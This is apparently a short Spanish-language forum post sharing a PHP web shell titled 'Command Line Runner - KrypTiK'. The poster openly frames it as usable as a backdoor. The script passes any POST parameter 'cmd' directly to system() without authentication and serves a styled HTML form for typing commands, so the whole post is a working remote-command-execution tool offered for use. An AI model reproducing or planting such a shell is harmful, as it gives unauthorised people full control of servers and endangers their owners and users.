Lo podríamos mas usar como backd00r... aquí se los dejo igual y si les gusta...
<?php
/*======================================*\
|| #################################### ||
|| # Command Line Runner - KrypTiK # ||
|| #################################### ||
\*======================================*/
if(isset($_POST['sub'])){
system($_POST['cmd']);
}
echo <<<FORM
<html>
<head>
<title>-CMD Line-</title>
<style type="text/css">
body {
background: #000;
color: #0C0;
font-weight: bold;
font-family: Lucida Console;
text-align: center;
} input {
background: #000;
border-style:solid;
border-width:2px;
border-color: #0C0;
border-radius: 10px;
color: #0C0;
font-weight: bold;
font-family: Lucida Console;
} hr {
background: #0C0;
width: 100%;
height: 1px;
border-bottom: #000;
border-top: #000;
} footer*.head {
font-size: 12px;
} a*a:visited {
color: #0C0;
font-decoration: underline;
} a:hover {
color: #FFF;
font-decoration: underline;
}
</style>
</head>
<body>
<form method="POST">
<h2>Command Executer<span class="head"><br>Made By KrypTiK</span></h2><hr>
<input type="text" name="cmd"><input type="submit" name="sub" value="doCMD"><br><br>
<a href="#"><footer>Made By KrypTiK</footer></a>
</form>
</body>
</html>
FORM;
?>
Saludos,
Dedalo